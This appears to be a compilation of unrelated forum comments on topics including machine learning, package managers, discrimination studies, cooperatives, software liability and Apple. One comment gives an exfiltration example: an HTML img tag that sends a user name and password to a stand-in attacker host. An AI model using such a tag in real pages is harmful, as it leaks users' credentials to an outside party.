> Is it training initialization or is it a form of transfer learning?

I doubt it's randomly initialized. The brain has centers for motion which might be honed in at birth for these animals.

Let's not ignore genetics, which pre-populate weights and subnetworks in the form of motion-control centers in the brain. Once you consider the gene-brain interaction over the course of evolution as part of your training, the huge data required for modern ML starts to make more sense.
I've always thought 'git blame' was a badly named command. The word 'blame' has such negativity attached to it. The command should have been called 'git who'.
If the test of a person being employable is that they keep their condition to themselves, then it's mental illness. You can't ask for accommodations for mental illness, is my definition. No matter what the rules on paper.

Liquid Haskell looks similar to Eiffel in terms of contracts.

I imagine a whole bunch of power could be derived from this in Haskell. I don't know how heavily contracts were/are used in Eiffel (I don't think it's so popular these days).

It would be great to know if contracts had a measurably useful outcome on projects and what that measurable was (addressed a market that we otherwise wouldn't have been able to, dropped runtime errors to only system based errors, etc).

WRT your projects, I imagine it would be great to see your product out there working with a known level of uptime and quality. I could imagine it's a bit of a shift from the normal "throw it together" of ... a lot of software.

I'd be curious to know what it's like to work on day to day, year to year. I imagine lots of software will still be "throw it together" for a long time yet, but even if the subsystems are formally verified, it could have a useful impact on the software that consumes these (verified) modules.

I was reading something about a particularly bad enterprise service bus product where I learned in the comments that everything being a global variable is OK, you just have to clean up after yourself when the job finishes.

This comment strikes me as similar - here's a design decision that makes a simple task more complex, and error prone. Not that copying pasting large volumes is a good thing.
I went to the age of 35 without drinking (formerly part of a high-demand religion). I can say from experience that social bonding feels a bit stronger with light inebriation.
I haven't had to do anything fancy yet. I just install both and try to find the MacPorts equivalent first before using Homebrew.

For example, I use the MacPorts version of Python. If I need any Python dependencies I install them either via MacPorts or pip.

In fact, I only have two Homebrew packages installed: dockutil and mas. Both are tools I use as part of ansible scripts which don't have MacPorts equivalents. All the remaining Homebrew packages are all cask apps (Firefox, Chrome, Discord, Slack, etc.). Those don't have any dependencies that would cause any conflicts.

For comparison, I have 139 MacPorts packages installed. 2 Homebrew packages, and 21 Homebrew cask apps.

Not true, more than half of the US has cable/satellite subscriptions (~61%). It has shrunk but it is still the majority. I don't buy the argument that "cord cutting" is necessarily less expensive when you add up all the streaming services, especially given streaming services are currently low balling to bring in customers.

In any case, no one has addressed the problem of sports bars/bars being unable to service customers on streaming exclusive events.
People who drink in moderation likely also eat bad food in moderation, or smoke in moderation, or argue with their partner in moderation, or work in moderation, or stress in moderation or all sorts of other things over their lifetime.

The blood thinning does sound like an interesting point but it's still really hard to see this as evidence without accounting for factors unknown.

A lot of things cause heart disease and those things in more moderation probably stave of off future problems.

yeah, but I'm not sure how discrimination at extremely elite schools is relevant to broad sector industry discrimination.

don't get me wrong, discrimination is bad, but let's not act as if discrimination in getting into Harvard is in any way comparable to not being able to get a callback at McDonalds because you're black (the food industry had the highest white/black callback discrimination according to Figure 9 in the paper).

I lived in US for over 10 years working in tech. What is “distinctively white/black names”??
It seems like they just did "black names" vs "white names." It would be interesting if they tried this with unique "white" names, like "Göran Hägglund" or "Alf Svensson" (picking Swedish names here). It would be interesting to know if the bias is against unique-sounding names or if it is against the inferred race.

Also, anyone know if there a reason why "Black" is capitalized in the paper but "white" is not?
I’m a part of a similar initiative in Canada called Radish (https://radish.coop) which is a multi-stakeholder cooperative owned collectively by restaurants, delivery personnel, support staff and consumers. The cooperative develops its own IP and employs its drivers and bike couriers as salaried employees.

It’s been quite an interesting challenge. In particular, simple things like getting insurance or finding an auditor have been much harder, since the expertise in the nuances of how coops operate is fairly uncommon. The government itself often seems unsure on how to apply laws or administer programs in regards to us.

Financing was a challenge initially, though we’ve made some innovations in that area that have allowed us to access some VC funding.

On the other hand, such platforms can truly leverage the collective mass of its users, which is a distinct advantage it has over any traditional corporation. For example, we’ve been able to raise capital from our members who are also shareholders (and not simply just crowdfunders) and our client (member) acquisition cost has been significantly lower than our competitors, though it’s too early to say whether that’ll stay the course with scale.

Exactly. Alternatively, you can also use embeds, for example `<img src="https://evil.com/$user/$password" >`.

If you have your code running and the credentials, exfiltration is no longer a problem.

3x isn't surprising given the rates of asymptomatic cases and lack of access to testing in many areas (or lack of reason to get tested since healthcare wasn't available anyway).
Put liability on software and you will halt innovation almost completely. It won't lead to a utopia of provably safe systems and secure languages, but to a dystopia of paranoid risk-averse companies refusing to allow any form of innovation or use any code that is not already in use. Instead of clean bug-free code we'll end up with code that looks like OpenSSL, ugly as hell but relatively bug-free after decades of brute force fixing.
Apple is voting their $CURRENCY in federal congress, and state congress, and city council meetings every day. They actively try to change the law in their favor, and curtail regulations that make them play fair by bribing senators. They cannibalize companies that try to compete by immense political (money) market power. There is no such thing as a "free market" here.

I'm required to use the devices Apple creates, because work. Once your product is required to be in the hands of many people the idea of "Vote with Money!" is objectively, demonstrably, false. You might as well tell working class people to just walk to work. It affects me. So when someone supports a company like Apple, against all evidence, I'm inclined to further critisize Apple and its users whom advocate against themselves. I'm even more open to harsher regulations on Apple, even. Similiar to how regulations on Gambling are a necessity to prevent heavily negative socioeconomic effects.

I wouldn't classify it as being allowed vs not allowed. If you want to know, there are police records to comb through.

I'd describe it more along the lines of there only being so many hours in a day, and only a subset of those that journalists are paid for. It simply isn't necessarily possible to cover every crime, political choice, special event, upcoming event, and more, with the nuance it likely deserves.

Your objection, to me at least, reads more like a complaint about journalists not putting every action in and by the city front and center. But if everything is front and center, does that mean everything is, or nothing? We get into a lack of space on the front page, lack of time to read it, and lack of places to put up notices that are essential. We essentially run into what Arthur Dent did in The Hitchhiker's Guide to the Galaxy [0], with "essential news" buried because something more essential was already there.

Regarding realtime use of Citizen that you described below, that doesn't sound like a bad use-case. I know it's not for me though. Having every incident sent via push notification (which I can only assume will occur on a long enough timeline to increase engagement) doesn't sound good for anyone's mental health. We may not be there yet, but I'm not sure I want to partake in encouraging society moving in that direction.

Even for occupation of public property, the application of state power is extremely selective. Abandon or live in a beat to shit tent on public property, get arrested and have your private property destroyed by the state. Leave a $50,000 BMW in a bike lane because you're too self important to find a legal parking spot, and at best you'll get a ticket. Most of the time you might not even get that much.

The fact that only one of these will be on the receiving end of state violence really underscores how little the excuse of "you're occupying public property" has with the expected outcome.
I'm curious whether it's the same type of discrimination that this study presents. I.e. is it "group A is undesirable" or is it "most applications are from group A, and so when we positively discriminate for diversity/equity reasons, group A is most affected in terms of absolute counts" your excerpt seems to suggest the former, but my previous assumption was that it was the latter.

It's absolutely not restricted by the brain size.

The brain size needs a huge head, so in a sense it is.

All the factors are interwined. The growth of the brain seems to have been a very fast evolution, The pelvis had no time to adapt, so giving birth early was the final solution.

With that in mind, I don't find fair to shame the pelvis, or the brain. The weakest link is the legs, but it's not their fault either since they had no time to mature.

Give one of those cocky foals a head of proportional weight and allow them to use only two limbs and see who's stumbling now!

This isn't something userspace processes opt into. It's just how blocking read and write syscalls on filesystems work [1]. If you ever hit a bad block, you may notice that threads that touch it through the fs just hang and you can't recover or kill them. This is how it's always been on Linux and other Unix systems. I of course absolutely hate this and am 100% behind you if you're suggesting changing it.

While its not my personal preferred style, the NY Times has recently adopted this style (from an earlier one which capitalized neither) and explains it reasonably well (and other explanations of users of the style have generally been similar, so its what I take as, in outline, the usual explanation):

Maybe so, though this too seems like a strange belief, and touches on the reason I find surprise at such things odd: it's been known for years that fetuses at late stages have cycles of REM sleep and apparent wakefulness.
I think you're onto something. Substance abuse typically correlates with stress. I would be surprised if a generally moderate lifestyle weren't associated with both an overall lower rate of significant stressors (poverty, health complications, high-stress job, etc.) and with generally improved health related behaviours and health outcomes.

> IIUC the folding and unfolding pathways of a protein are not time reversed wrt each other.

That's more or less correct, but in my proposal, we are not modeling the folding pathway of a protein. One way to think of it: we would be modelling the reverse unfolding pathway of a protein in a universe with different (simpler) physics than ours, physics in which (hopefully) the time reversed unfolding pathway yields the correctly folded protein in OUR universe.

Carnivores and predators are different things.
Swedes make up 1% of the US population, while Black’s make up 10%. Just statistically speaking, but a Swedish name is going to way more unique than a Black name.

Hi HN,

I originally launched Wortharead on HN a few months ago. Since then we've improved performance a lot (especially on Android, which I had neglected before).

The app is built with Vue.js, which is a bit experimental for a high-quality mobile app, so it's taken a lot of work to get the speed, smoothness, performance and native-feel up-to-par, but I think you'll like it now.

Well, yeah. I'm not sure how you'd find out about this otherwise? Unless you think there's some arbitrary line where "proper journalists" are allowed to talk about things, but regular people aren't.

If the only information I could ever get about products was positive marketing from the creators of said products I don't understand how I could possibly navigate purchasing decisions as a consumer. Open public discourse about the pros and cons of various products is crucial to a functioning market.

Obviously if you already own an Apple device maybe you read announcements on their support portal, but that doesn't really help (it is great that Apple announce this stuff though).
